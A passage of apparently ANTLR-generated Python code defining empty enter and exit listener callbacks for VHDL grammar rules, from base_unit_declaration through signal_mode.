ctx:vhdlParser.Base_unit_declarationContext): pass # Exit a parse tree produced by vhdlParser#base_unit_declaration. def exitBase_unit_declaration(self, ctx:vhdlParser.Base_unit_declarationContext): pass # Enter a parse tree produced by vhdlParser#binding_indication. def enterBinding_indication(self, ctx:vhdlParser.Binding_indicationContext): pass # Exit a parse tree produced by vhdlParser#binding_indication. def exitBinding_indication(self, ctx:vhdlParser.Binding_indicationContext): pass # Enter a parse tree produced by vhdlParser#block_configuration. def enterBlock_configuration(self, ctx:vhdlParser.Block_configurationContext): pass # Exit a parse tree produced by vhdlParser#block_configuration. def exitBlock_configuration(self, ctx:vhdlParser.Block_configurationContext): pass # Enter a parse tree produced by vhdlParser#block_declarative_item. def enterBlock_declarative_item(self, ctx:vhdlParser.Block_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#block_declarative_item. def exitBlock_declarative_item(self, ctx:vhdlParser.Block_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#block_declarative_part. def enterBlock_declarative_part(self, ctx:vhdlParser.Block_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#block_declarative_part. def exitBlock_declarative_part(self, ctx:vhdlParser.Block_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#block_header. def enterBlock_header(self, ctx:vhdlParser.Block_headerContext): pass # Exit a parse tree produced by vhdlParser#block_header. def exitBlock_header(self, ctx:vhdlParser.Block_headerContext): pass # Enter a parse tree produced by vhdlParser#block_specification. def enterBlock_specification(self, ctx:vhdlParser.Block_specificationContext): pass # Exit a parse tree produced by vhdlParser#block_specification. def exitBlock_specification(self, ctx:vhdlParser.Block_specificationContext): pass # Enter a parse tree produced by vhdlParser#block_statement. def enterBlock_statement(self, ctx:vhdlParser.Block_statementContext): pass # Exit a parse tree produced by vhdlParser#block_statement. def exitBlock_statement(self, ctx:vhdlParser.Block_statementContext): pass # Enter a parse tree produced by vhdlParser#block_statement_part. def enterBlock_statement_part(self, ctx:vhdlParser.Block_statement_partContext): pass # Exit a parse tree produced by vhdlParser#block_statement_part. def exitBlock_statement_part(self, ctx:vhdlParser.Block_statement_partContext): pass # Enter a parse tree produced by vhdlParser#branch_quantity_declaration. def enterBranch_quantity_declaration(self, ctx:vhdlParser.Branch_quantity_declarationContext): pass # Exit a parse tree produced by vhdlParser#branch_quantity_declaration. def exitBranch_quantity_declaration(self, ctx:vhdlParser.Branch_quantity_declarationContext): pass # Enter a parse tree produced by vhdlParser#break_element. def enterBreak_element(self, ctx:vhdlParser.Break_elementContext): pass # Exit a parse tree produced by vhdlParser#break_element. def exitBreak_element(self, ctx:vhdlParser.Break_elementContext): pass # Enter a parse tree produced by vhdlParser#break_list. def enterBreak_list(self, ctx:vhdlParser.Break_listContext): pass # Exit a parse tree produced by vhdlParser#break_list. def exitBreak_list(self, ctx:vhdlParser.Break_listContext): pass # Enter a parse tree produced by vhdlParser#break_selector_clause. def enterBreak_selector_clause(self, ctx:vhdlParser.Break_selector_clauseContext): pass # Exit a parse tree produced by vhdlParser#break_selector_clause. def exitBreak_selector_clause(self, ctx:vhdlParser.Break_selector_clauseContext): pass # Enter a parse tree produced by vhdlParser#break_statement. def enterBreak_statement(self, ctx:vhdlParser.Break_statementContext): pass # Exit a parse tree produced by vhdlParser#break_statement. def exitBreak_statement(self, ctx:vhdlParser.Break_statementContext): pass # Enter a parse tree produced by vhdlParser#case_statement. def enterCase_statement(self, ctx:vhdlParser.Case_statementContext): pass # Exit a parse tree produced by vhdlParser#case_statement. def exitCase_statement(self, ctx:vhdlParser.Case_statementContext): pass # Enter a parse tree produced by vhdlParser#case_statement_alternative. def enterCase_statement_alternative(self, ctx:vhdlParser.Case_statement_alternativeContext): pass # Exit a parse tree produced by vhdlParser#case_statement_alternative. def exitCase_statement_alternative(self, ctx:vhdlParser.Case_statement_alternativeContext): pass # Enter a parse tree produced by vhdlParser#choice. def enterChoice(self, ctx:vhdlParser.ChoiceContext): pass # Exit a parse tree produced by vhdlParser#choice. def exitChoice(self, ctx:vhdlParser.ChoiceContext): pass # Enter a parse tree produced by vhdlParser#choices. def enterChoices(self, ctx:vhdlParser.ChoicesContext): pass # Exit a parse tree produced by vhdlParser#choices. def exitChoices(self, ctx:vhdlParser.ChoicesContext): pass # Enter a parse tree produced by vhdlParser#component_configuration. def enterComponent_configuration(self, ctx:vhdlParser.Component_configurationContext): pass # Exit a parse tree produced by vhdlParser#component_configuration. def exitComponent_configuration(self, ctx:vhdlParser.Component_configurationContext): pass # Enter a parse tree produced by vhdlParser#component_declaration. def enterComponent_declaration(self, ctx:vhdlParser.Component_declarationContext): pass # Exit a parse tree produced by vhdlParser#component_declaration. def exitComponent_declaration(self, ctx:vhdlParser.Component_declarationContext): pass # Enter a parse tree produced by vhdlParser#component_instantiation_statement. def enterComponent_instantiation_statement(self, ctx:vhdlParser.Component_instantiation_statementContext): pass # Exit a parse tree produced by vhdlParser#component_instantiation_statement. def exitComponent_instantiation_statement(self, ctx:vhdlParser.Component_instantiation_statementContext): pass # Enter a parse tree produced by vhdlParser#component_specification. def enterComponent_specification(self, ctx:vhdlParser.Component_specificationContext): pass # Exit a parse tree produced by vhdlParser#component_specification. def exitComponent_specification(self, ctx:vhdlParser.Component_specificationContext): pass # Enter a parse tree produced by vhdlParser#composite_nature_definition. def enterComposite_nature_definition(self, ctx:vhdlParser.Composite_nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#composite_nature_definition. def exitComposite_nature_definition(self, ctx:vhdlParser.Composite_nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#composite_type_definition. def enterComposite_type_definition(self, ctx:vhdlParser.Composite_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#composite_type_definition. def exitComposite_type_definition(self, ctx:vhdlParser.Composite_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#concurrent_assertion_statement. def enterConcurrent_assertion_statement(self, ctx:vhdlParser.Concurrent_assertion_statementContext): pass # Exit a parse tree produced by vhdlParser#concurrent_assertion_statement. def exitConcurrent_assertion_statement(self, ctx:vhdlParser.Concurrent_assertion_statementContext): pass # Enter a parse tree produced by vhdlParser#concurrent_break_statement. def enterConcurrent_break_statement(self, ctx:vhdlParser.Concurrent_break_statementContext): pass # Exit a parse tree produced by vhdlParser#concurrent_break_statement. def exitConcurrent_break_statement(self, ctx:vhdlParser.Concurrent_break_statementContext): pass # Enter a parse tree produced by vhdlParser#concurrent_procedure_call_statement. def enterConcurrent_procedure_call_statement(self, ctx:vhdlParser.Concurrent_procedure_call_statementContext): pass # Exit a parse tree produced by vhdlParser#concurrent_procedure_call_statement. def exitConcurrent_procedure_call_statement(self, ctx:vhdlParser.Concurrent_procedure_call_statementContext): pass # Enter a parse tree produced by vhdlParser#concurrent_signal_assignment_statement. def enterConcurrent_signal_assignment_statement(self, ctx:vhdlParser.Concurrent_signal_assignment_statementContext): pass # Exit a parse tree produced by vhdlParser#concurrent_signal_assignment_statement. def exitConcurrent_signal_assignment_statement(self, ctx:vhdlParser.Concurrent_signal_assignment_statementContext): pass # Enter a parse tree produced by vhdlParser#condition. def enterCondition(self, ctx:vhdlParser.ConditionContext): pass # Exit a parse tree produced by vhdlParser#condition. def exitCondition(self, ctx:vhdlParser.ConditionContext): pass # Enter a parse tree produced by vhdlParser#condition_clause. def enterCondition_clause(self, ctx:vhdlParser.Condition_clauseContext): pass # Exit a parse tree produced by vhdlParser#condition_clause. def exitCondition_clause(self, ctx:vhdlParser.Condition_clauseContext): pass # Enter a parse tree produced by vhdlParser#conditional_signal_assignment. def enterConditional_signal_assignment(self, ctx:vhdlParser.Conditional_signal_assignmentContext): pass # Exit a parse tree produced by vhdlParser#conditional_signal_assignment. def exitConditional_signal_assignment(self, ctx:vhdlParser.Conditional_signal_assignmentContext): pass # Enter a parse tree produced by vhdlParser#conditional_waveforms. def enterConditional_waveforms(self, ctx:vhdlParser.Conditional_waveformsContext): pass # Exit a parse tree produced by vhdlParser#conditional_waveforms. def exitConditional_waveforms(self, ctx:vhdlParser.Conditional_waveformsContext): pass # Enter a parse tree produced by vhdlParser#configuration_declaration. def enterConfiguration_declaration(self, ctx:vhdlParser.Configuration_declarationContext): pass # Exit a parse tree produced by vhdlParser#configuration_declaration. def exitConfiguration_declaration(self, ctx:vhdlParser.Configuration_declarationContext): pass # Enter a parse tree produced by vhdlParser#configuration_declarative_item. def enterConfiguration_declarative_item(self, ctx:vhdlParser.Configuration_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#configuration_declarative_item. def exitConfiguration_declarative_item(self, ctx:vhdlParser.Configuration_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#configuration_declarative_part. def enterConfiguration_declarative_part(self, ctx:vhdlParser.Configuration_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#configuration_declarative_part. def exitConfiguration_declarative_part(self, ctx:vhdlParser.Configuration_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#configuration_item. def enterConfiguration_item(self, ctx:vhdlParser.Configuration_itemContext): pass # Exit a parse tree produced by vhdlParser#configuration_item. def exitConfiguration_item(self, ctx:vhdlParser.Configuration_itemContext): pass # Enter a parse tree produced by vhdlParser#configuration_specification. def enterConfiguration_specification(self, ctx:vhdlParser.Configuration_specificationContext): pass # Exit a parse tree produced by vhdlParser#configuration_specification. def exitConfiguration_specification(self, ctx:vhdlParser.Configuration_specificationContext): pass # Enter a parse tree produced by vhdlParser#constant_declaration. def enterConstant_declaration(self, ctx:vhdlParser.Constant_declarationContext): pass # Exit a parse tree produced by vhdlParser#constant_declaration. def exitConstant_declaration(self, ctx:vhdlParser.Constant_declarationContext): pass # Enter a parse tree produced by vhdlParser#constrained_array_definition. def enterConstrained_array_definition(self, ctx:vhdlParser.Constrained_array_definitionContext): pass # Exit a parse tree produced by vhdlParser#constrained_array_definition. def exitConstrained_array_definition(self, ctx:vhdlParser.Constrained_array_definitionContext): pass # Enter a parse tree produced by vhdlParser#constrained_nature_definition. def enterConstrained_nature_definition(self, ctx:vhdlParser.Constrained_nature_definitionContext): pass # Exit a parse tree produced by vhdlParser#constrained_nature_definition. def exitConstrained_nature_definition(self, ctx:vhdlParser.Constrained_nature_definitionContext): pass # Enter a parse tree produced by vhdlParser#constraint. def enterConstraint(self, ctx:vhdlParser.ConstraintContext): pass # Exit a parse tree produced by vhdlParser#constraint. def exitConstraint(self, ctx:vhdlParser.ConstraintContext): pass # Enter a parse tree produced by vhdlParser#context_clause. def enterContext_clause(self, ctx:vhdlParser.Context_clauseContext): pass # Exit a parse tree produced by vhdlParser#context_clause. def exitContext_clause(self, ctx:vhdlParser.Context_clauseContext): pass # Enter a parse tree produced by vhdlParser#context_item. def enterContext_item(self, ctx:vhdlParser.Context_itemContext): pass # Exit a parse tree produced by vhdlParser#context_item. def exitContext_item(self, ctx:vhdlParser.Context_itemContext): pass # Enter a parse tree produced by vhdlParser#delay_mechanism. def enterDelay_mechanism(self, ctx:vhdlParser.Delay_mechanismContext): pass # Exit a parse tree produced by vhdlParser#delay_mechanism. def exitDelay_mechanism(self, ctx:vhdlParser.Delay_mechanismContext): pass # Enter a parse tree produced by vhdlParser#design_file. def enterDesign_file(self, ctx:vhdlParser.Design_fileContext): pass # Exit a parse tree produced by vhdlParser#design_file. def exitDesign_file(self, ctx:vhdlParser.Design_fileContext): pass # Enter a parse tree produced by vhdlParser#design_unit. def enterDesign_unit(self, ctx:vhdlParser.Design_unitContext): pass # Exit a parse tree produced by vhdlParser#design_unit. def exitDesign_unit(self, ctx:vhdlParser.Design_unitContext): pass # Enter a parse tree produced by vhdlParser#designator. def enterDesignator(self, ctx:vhdlParser.DesignatorContext): pass # Exit a parse tree produced by vhdlParser#designator. def exitDesignator(self, ctx:vhdlParser.DesignatorContext): pass # Enter a parse tree produced by vhdlParser#direction. def enterDirection(self, ctx:vhdlParser.DirectionContext): pass # Exit a parse tree produced by vhdlParser#direction. def exitDirection(self, ctx:vhdlParser.DirectionContext): pass # Enter a parse tree produced by vhdlParser#disconnection_specification. def enterDisconnection_specification(self, ctx:vhdlParser.Disconnection_specificationContext): pass # Exit a parse tree produced by vhdlParser#disconnection_specification. def exitDisconnection_specification(self, ctx:vhdlParser.Disconnection_specificationContext): pass # Enter a parse tree produced by vhdlParser#discrete_range. def enterDiscrete_range(self, ctx:vhdlParser.Discrete_rangeContext): pass # Exit a parse tree produced by vhdlParser#discrete_range. def exitDiscrete_range(self, ctx:vhdlParser.Discrete_rangeContext): pass # Enter a parse tree produced by vhdlParser#element_association. def enterElement_association(self, ctx:vhdlParser.Element_associationContext): pass # Exit a parse tree produced by vhdlParser#element_association. def exitElement_association(self, ctx:vhdlParser.Element_associationContext): pass # Enter a parse tree produced by vhdlParser#element_declaration. def enterElement_declaration(self, ctx:vhdlParser.Element_declarationContext): pass # Exit a parse tree produced by vhdlParser#element_declaration. def exitElement_declaration(self, ctx:vhdlParser.Element_declarationContext): pass # Enter a parse tree produced by vhdlParser#element_subnature_definition. def enterElement_subnature_definition(self, ctx:vhdlParser.Element_subnature_definitionContext): pass # Exit a parse tree produced by vhdlParser#element_subnature_definition. def exitElement_subnature_definition(self, ctx:vhdlParser.Element_subnature_definitionContext): pass # Enter a parse tree produced by vhdlParser#element_subtype_definition. def enterElement_subtype_definition(self, ctx:vhdlParser.Element_subtype_definitionContext): pass # Exit a parse tree produced by vhdlParser#element_subtype_definition. def exitElement_subtype_definition(self, ctx:vhdlParser.Element_subtype_definitionContext): pass # Enter a parse tree produced by vhdlParser#entity_aspect. def enterEntity_aspect(self, ctx:vhdlParser.Entity_aspectContext): pass # Exit a parse tree produced by vhdlParser#entity_aspect. def exitEntity_aspect(self, ctx:vhdlParser.Entity_aspectContext): pass # Enter a parse tree produced by vhdlParser#entity_class. def enterEntity_class(self, ctx:vhdlParser.Entity_classContext): pass # Exit a parse tree produced by vhdlParser#entity_class. def exitEntity_class(self, ctx:vhdlParser.Entity_classContext): pass # Enter a parse tree produced by vhdlParser#entity_class_entry. def enterEntity_class_entry(self, ctx:vhdlParser.Entity_class_entryContext): pass # Exit a parse tree produced by vhdlParser#entity_class_entry. def exitEntity_class_entry(self, ctx:vhdlParser.Entity_class_entryContext): pass # Enter a parse tree produced by vhdlParser#entity_class_entry_list. def enterEntity_class_entry_list(self, ctx:vhdlParser.Entity_class_entry_listContext): pass # Exit a parse tree produced by vhdlParser#entity_class_entry_list. def exitEntity_class_entry_list(self, ctx:vhdlParser.Entity_class_entry_listContext): pass # Enter a parse tree produced by vhdlParser#entity_declaration. def enterEntity_declaration(self, ctx:vhdlParser.Entity_declarationContext): pass # Exit a parse tree produced by vhdlParser#entity_declaration. def exitEntity_declaration(self, ctx:vhdlParser.Entity_declarationContext): pass # Enter a parse tree produced by vhdlParser#entity_declarative_item. def enterEntity_declarative_item(self, ctx:vhdlParser.Entity_declarative_itemContext): pass # Exit a parse tree produced by vhdlParser#entity_declarative_item. def exitEntity_declarative_item(self, ctx:vhdlParser.Entity_declarative_itemContext): pass # Enter a parse tree produced by vhdlParser#entity_declarative_part. def enterEntity_declarative_part(self, ctx:vhdlParser.Entity_declarative_partContext): pass # Exit a parse tree produced by vhdlParser#entity_declarative_part. def exitEntity_declarative_part(self, ctx:vhdlParser.Entity_declarative_partContext): pass # Enter a parse tree produced by vhdlParser#entity_designator. def enterEntity_designator(self, ctx:vhdlParser.Entity_designatorContext): pass # Exit a parse tree produced by vhdlParser#entity_designator. def exitEntity_designator(self, ctx:vhdlParser.Entity_designatorContext): pass # Enter a parse tree produced by vhdlParser#entity_header. def enterEntity_header(self, ctx:vhdlParser.Entity_headerContext): pass # Exit a parse tree produced by vhdlParser#entity_header. def exitEntity_header(self, ctx:vhdlParser.Entity_headerContext): pass # Enter a parse tree produced by vhdlParser#entity_name_list. def enterEntity_name_list(self, ctx:vhdlParser.Entity_name_listContext): pass # Exit a parse tree produced by vhdlParser#entity_name_list. def exitEntity_name_list(self, ctx:vhdlParser.Entity_name_listContext): pass # Enter a parse tree produced by vhdlParser#entity_specification. def enterEntity_specification(self, ctx:vhdlParser.Entity_specificationContext): pass # Exit a parse tree produced by vhdlParser#entity_specification. def exitEntity_specification(self, ctx:vhdlParser.Entity_specificationContext): pass # Enter a parse tree produced by vhdlParser#entity_statement. def enterEntity_statement(self, ctx:vhdlParser.Entity_statementContext): pass # Exit a parse tree produced by vhdlParser#entity_statement. def exitEntity_statement(self, ctx:vhdlParser.Entity_statementContext): pass # Enter a parse tree produced by vhdlParser#entity_statement_part. def enterEntity_statement_part(self, ctx:vhdlParser.Entity_statement_partContext): pass # Exit a parse tree produced by vhdlParser#entity_statement_part. def exitEntity_statement_part(self, ctx:vhdlParser.Entity_statement_partContext): pass # Enter a parse tree produced by vhdlParser#entity_tag. def enterEntity_tag(self, ctx:vhdlParser.Entity_tagContext): pass # Exit a parse tree produced by vhdlParser#entity_tag. def exitEntity_tag(self, ctx:vhdlParser.Entity_tagContext): pass # Enter a parse tree produced by vhdlParser#enumeration_literal. def enterEnumeration_literal(self, ctx:vhdlParser.Enumeration_literalContext): pass # Exit a parse tree produced by vhdlParser#enumeration_literal. def exitEnumeration_literal(self, ctx:vhdlParser.Enumeration_literalContext): pass # Enter a parse tree produced by vhdlParser#enumeration_type_definition. def enterEnumeration_type_definition(self, ctx:vhdlParser.Enumeration_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#enumeration_type_definition. def exitEnumeration_type_definition(self, ctx:vhdlParser.Enumeration_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#exit_statement. def enterExit_statement(self, ctx:vhdlParser.Exit_statementContext): pass # Exit a parse tree produced by vhdlParser#exit_statement. def exitExit_statement(self, ctx:vhdlParser.Exit_statementContext): pass # Enter a parse tree produced by vhdlParser#expression. def enterExpression(self, ctx:vhdlParser.ExpressionContext): pass # Exit a parse tree produced by vhdlParser#expression. def exitExpression(self, ctx:vhdlParser.ExpressionContext): pass # Enter a parse tree produced by vhdlParser#factor. def enterFactor(self, ctx:vhdlParser.FactorContext): pass # Exit a parse tree produced by vhdlParser#factor. def exitFactor(self, ctx:vhdlParser.FactorContext): pass # Enter a parse tree produced by vhdlParser#file_declaration. def enterFile_declaration(self, ctx:vhdlParser.File_declarationContext): pass # Exit a parse tree produced by vhdlParser#file_declaration. def exitFile_declaration(self, ctx:vhdlParser.File_declarationContext): pass # Enter a parse tree produced by vhdlParser#file_logical_name. def enterFile_logical_name(self, ctx:vhdlParser.File_logical_nameContext): pass # Exit a parse tree produced by vhdlParser#file_logical_name. def exitFile_logical_name(self, ctx:vhdlParser.File_logical_nameContext): pass # Enter a parse tree produced by vhdlParser#file_open_information. def enterFile_open_information(self, ctx:vhdlParser.File_open_informationContext): pass # Exit a parse tree produced by vhdlParser#file_open_information. def exitFile_open_information(self, ctx:vhdlParser.File_open_informationContext): pass # Enter a parse tree produced by vhdlParser#file_type_definition. def enterFile_type_definition(self, ctx:vhdlParser.File_type_definitionContext): pass # Exit a parse tree produced by vhdlParser#file_type_definition. def exitFile_type_definition(self, ctx:vhdlParser.File_type_definitionContext): pass # Enter a parse tree produced by vhdlParser#formal_parameter_list. def enterFormal_parameter_list(self, ctx:vhdlParser.Formal_parameter_listContext): pass # Exit a parse tree produced by vhdlParser#formal_parameter_list. def exitFormal_parameter_list(self, ctx:vhdlParser.Formal_parameter_listContext): pass # Enter a parse tree produced by vhdlParser#formal_part. def enterFormal_part(self, ctx:vhdlParser.Formal_partContext): pass # Exit a parse tree produced by vhdlParser#formal_part. def exitFormal_part(self, ctx:vhdlParser.Formal_partContext): pass # Enter a parse tree produced by vhdlParser#free_quantity_declaration. def enterFree_quantity_declaration(self, ctx:vhdlParser.Free_quantity_declarationContext): pass # Exit a parse tree produced by vhdlParser#free_quantity_declaration. def exitFree_quantity_declaration(self, ctx:vhdlParser.Free_quantity_declarationContext): pass # Enter a parse tree produced by vhdlParser#generate_statement. def enterGenerate_statement(self, ctx:vhdlParser.Generate_statementContext): pass # Exit a parse tree produced by vhdlParser#generate_statement. def exitGenerate_statement(self, ctx:vhdlParser.Generate_statementContext): pass # Enter a parse tree produced by vhdlParser#generation_scheme. def enterGeneration_scheme(self, ctx:vhdlParser.Generation_schemeContext): pass # Exit a parse tree produced by vhdlParser#generation_scheme. def exitGeneration_scheme(self, ctx:vhdlParser.Generation_schemeContext): pass # Enter a parse tree produced by vhdlParser#generic_clause. def enterGeneric_clause(self, ctx:vhdlParser.Generic_clauseContext): pass # Exit a parse tree produced by vhdlParser#generic_clause. def exitGeneric_clause(self, ctx:vhdlParser.Generic_clauseContext): pass # Enter a parse tree produced by vhdlParser#generic_list. def enterGeneric_list(self, ctx:vhdlParser.Generic_listContext): pass # Exit a parse tree produced by vhdlParser#generic_list. def exitGeneric_list(self, ctx:vhdlParser.Generic_listContext): pass # Enter a parse tree produced by vhdlParser#generic_map_aspect. def enterGeneric_map_aspect(self, ctx:vhdlParser.Generic_map_aspectContext): pass # Exit a parse tree produced by vhdlParser#generic_map_aspect. def exitGeneric_map_aspect(self, ctx:vhdlParser.Generic_map_aspectContext): pass # Enter a parse tree produced by vhdlParser#group_constituent. def enterGroup_constituent(self, ctx:vhdlParser.Group_constituentContext): pass # Exit a parse tree produced by vhdlParser#group_constituent. def exitGroup_constituent(self, ctx:vhdlParser.Group_constituentContext): pass # Enter a parse tree produced by vhdlParser#group_constituent_list. def enterGroup_constituent_list(self, ctx:vhdlParser.Group_constituent_listContext): pass # Exit a parse tree produced by vhdlParser#group_constituent_list. def exitGroup_constituent_list(self, ctx:vhdlParser.Group_constituent_listContext): pass # Enter a parse tree produced by vhdlParser#group_declaration. def enterGroup_declaration(self, ctx:vhdlParser.Group_declarationContext): pass # Exit a parse tree produced by vhdlParser#group_declaration. def exitGroup_declaration(self, ctx:vhdlParser.Group_declarationContext): pass # Enter a parse tree produced by vhdlParser#group_template_declaration. def enterGroup_template_declaration(self, ctx:vhdlParser.Group_template_declarationContext): pass # Exit a parse tree produced by vhdlParser#group_template_declaration. def exitGroup_template_declaration(self, ctx:vhdlParser.Group_template_declarationContext): pass # Enter a parse tree produced by vhdlParser#guarded_signal_specification. def enterGuarded_signal_specification(self, ctx:vhdlParser.Guarded_signal_specificationContext): pass # Exit a parse tree produced by vhdlParser#guarded_signal_specification. def exitGuarded_signal_specification(self, ctx:vhdlParser.Guarded_signal_specificationContext): pass # Enter a parse tree produced by vhdlParser#identifier. def enterIdentifier(self, ctx:vhdlParser.IdentifierContext): pass # Exit a parse tree produced by vhdlParser#identifier. def exitIdentifier(self, ctx:vhdlParser.IdentifierContext): pass # Enter a parse tree produced by vhdlParser#identifier_list. def enterIdentifier_list(self, ctx:vhdlParser.Identifier_listContext): pass # Exit a parse tree produced by vhdlParser#identifier_list. def exitIdentifier_list(self, ctx:vhdlParser.Identifier_listContext): pass # Enter a parse tree produced by vhdlParser#if_statement. def enterIf_statement(self, ctx:vhdlParser.If_statementContext): pass # Exit a parse tree produced by vhdlParser#if_statement. def exitIf_statement(self, ctx:vhdlParser.If_statementContext): pass # Enter a parse tree produced by vhdlParser#index_constraint. def enterIndex_constraint(self, ctx:vhdlParser.Index_constraintContext): pass # Exit a parse tree produced by vhdlParser#index_constraint. def exitIndex_constraint(self, ctx:vhdlParser.Index_constraintContext): pass # Enter a parse tree produced by vhdlParser#index_specification. def enterIndex_specification(self, ctx:vhdlParser.Index_specificationContext): pass # Exit a parse tree produced by vhdlParser#index_specification. def exitIndex_specification(self, ctx:vhdlParser.Index_specificationContext): pass # Enter a parse tree produced by vhdlParser#index_subtype_definition. def enterIndex_subtype_definition(self, ctx:vhdlParser.Index_subtype_definitionContext): pass # Exit a parse tree produced by vhdlParser#index_subtype_definition. def exitIndex_subtype_definition(self, ctx:vhdlParser.Index_subtype_definitionContext): pass # Enter a parse tree produced by vhdlParser#instantiated_unit. def enterInstantiated_unit(self, ctx:vhdlParser.Instantiated_unitContext): pass # Exit a parse tree produced by vhdlParser#instantiated_unit. def exitInstantiated_unit(self, ctx:vhdlParser.Instantiated_unitContext): pass # Enter a parse tree produced by vhdlParser#instantiation_list. def enterInstantiation_list(self, ctx:vhdlParser.Instantiation_listContext): pass # Exit a parse tree produced by vhdlParser#instantiation_list. def exitInstantiation_list(self, ctx:vhdlParser.Instantiation_listContext): pass # Enter a parse tree produced by vhdlParser#interface_constant_declaration. def enterInterface_constant_declaration(self, ctx:vhdlParser.Interface_constant_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_constant_declaration. def exitInterface_constant_declaration(self, ctx:vhdlParser.Interface_constant_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_declaration. def enterInterface_declaration(self, ctx:vhdlParser.Interface_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_declaration. def exitInterface_declaration(self, ctx:vhdlParser.Interface_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_element. def enterInterface_element(self, ctx:vhdlParser.Interface_elementContext): pass # Exit a parse tree produced by vhdlParser#interface_element. def exitInterface_element(self, ctx:vhdlParser.Interface_elementContext): pass # Enter a parse tree produced by vhdlParser#interface_file_declaration. def enterInterface_file_declaration(self, ctx:vhdlParser.Interface_file_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_file_declaration. def exitInterface_file_declaration(self, ctx:vhdlParser.Interface_file_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_signal_list. def enterInterface_signal_list(self, ctx:vhdlParser.Interface_signal_listContext): pass # Exit a parse tree produced by vhdlParser#interface_signal_list. def exitInterface_signal_list(self, ctx:vhdlParser.Interface_signal_listContext): pass # Enter a parse tree produced by vhdlParser#interface_port_list. def enterInterface_port_list(self, ctx:vhdlParser.Interface_port_listContext): pass # Exit a parse tree produced by vhdlParser#interface_port_list. def exitInterface_port_list(self, ctx:vhdlParser.Interface_port_listContext): pass # Enter a parse tree produced by vhdlParser#interface_list. def enterInterface_list(self, ctx:vhdlParser.Interface_listContext): pass # Exit a parse tree produced by vhdlParser#interface_list. def exitInterface_list(self, ctx:vhdlParser.Interface_listContext): pass # Enter a parse tree produced by vhdlParser#interface_quantity_declaration. def enterInterface_quantity_declaration(self, ctx:vhdlParser.Interface_quantity_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_quantity_declaration. def exitInterface_quantity_declaration(self, ctx:vhdlParser.Interface_quantity_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_port_declaration. def enterInterface_port_declaration(self, ctx:vhdlParser.Interface_port_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_port_declaration. def exitInterface_port_declaration(self, ctx:vhdlParser.Interface_port_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_signal_declaration. def enterInterface_signal_declaration(self, ctx:vhdlParser.Interface_signal_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_signal_declaration. def exitInterface_signal_declaration(self, ctx:vhdlParser.Interface_signal_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_terminal_declaration. def enterInterface_terminal_declaration(self, ctx:vhdlParser.Interface_terminal_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_terminal_declaration. def exitInterface_terminal_declaration(self, ctx:vhdlParser.Interface_terminal_declarationContext): pass # Enter a parse tree produced by vhdlParser#interface_variable_declaration. def enterInterface_variable_declaration(self, ctx:vhdlParser.Interface_variable_declarationContext): pass # Exit a parse tree produced by vhdlParser#interface_variable_declaration. def exitInterface_variable_declaration(self, ctx:vhdlParser.Interface_variable_declarationContext): pass # Enter a parse tree produced by vhdlParser#iteration_scheme. def enterIteration_scheme(self, ctx:vhdlParser.Iteration_schemeContext): pass # Exit a parse tree produced by vhdlParser#iteration_scheme. def exitIteration_scheme(self, ctx:vhdlParser.Iteration_schemeContext): pass # Enter a parse tree produced by vhdlParser#label_colon. def enterLabel_colon(self, ctx:vhdlParser.Label_colonContext): pass # Exit a parse tree produced by vhdlParser#label_colon. def exitLabel_colon(self, ctx:vhdlParser.Label_colonContext): pass # Enter a parse tree produced by vhdlParser#library_clause. def enterLibrary_clause(self, ctx:vhdlParser.Library_clauseContext): pass # Exit a parse tree produced by vhdlParser#library_clause. def exitLibrary_clause(self, ctx:vhdlParser.Library_clauseContext): pass # Enter a parse tree produced by vhdlParser#library_unit. def enterLibrary_unit(self, ctx:vhdlParser.Library_unitContext): pass # Exit a parse tree produced by vhdlParser#library_unit. def exitLibrary_unit(self, ctx:vhdlParser.Library_unitContext): pass # Enter a parse tree produced by vhdlParser#literal. def enterLiteral(self, ctx:vhdlParser.LiteralContext): pass # Exit a parse tree produced by vhdlParser#literal. def exitLiteral(self, ctx:vhdlParser.LiteralContext): pass # Enter a parse tree produced by vhdlParser#logical_name. def enterLogical_name(self, ctx:vhdlParser.Logical_nameContext): pass # Exit a parse tree produced by vhdlParser#logical_name. def exitLogical_name(self, ctx:vhdlParser.Logical_nameContext): pass # Enter a parse tree produced by vhdlParser#logical_name_list. def enterLogical_name_list(self, ctx:vhdlParser.Logical_name_listContext): pass # Exit a parse tree produced by vhdlParser#logical_name_list. def exitLogical_name_list(self, ctx:vhdlParser.Logical_name_listContext): pass # Enter a parse tree produced by vhdlParser#logical_operator. def enterLogical_operator(self, ctx:vhdlParser.Logical_operatorContext): pass # Exit a parse tree produced by vhdlParser#logical_operator. def exitLogical_operator(self, ctx:vhdlParser.Logical_operatorContext): pass # Enter a parse tree produced by vhdlParser#loop_statement. def enterLoop_statement(self, ctx:vhdlParser.Loop_statementContext): pass # Exit a parse tree produced by vhdlParser#loop_statement. def exitLoop_statement(self, ctx:vhdlParser.Loop_statementContext): pass # Enter a parse tree produced by vhdlParser#signal_mode. def enterSignal_mode(self, ctx:vhdlParser.Signal_modeContext): pass # Exit a parse tree produced by vhdlParser#signal_mode. def exitSignal_mode(self, ctx:vhdlParser.Signal_modeContext): pass 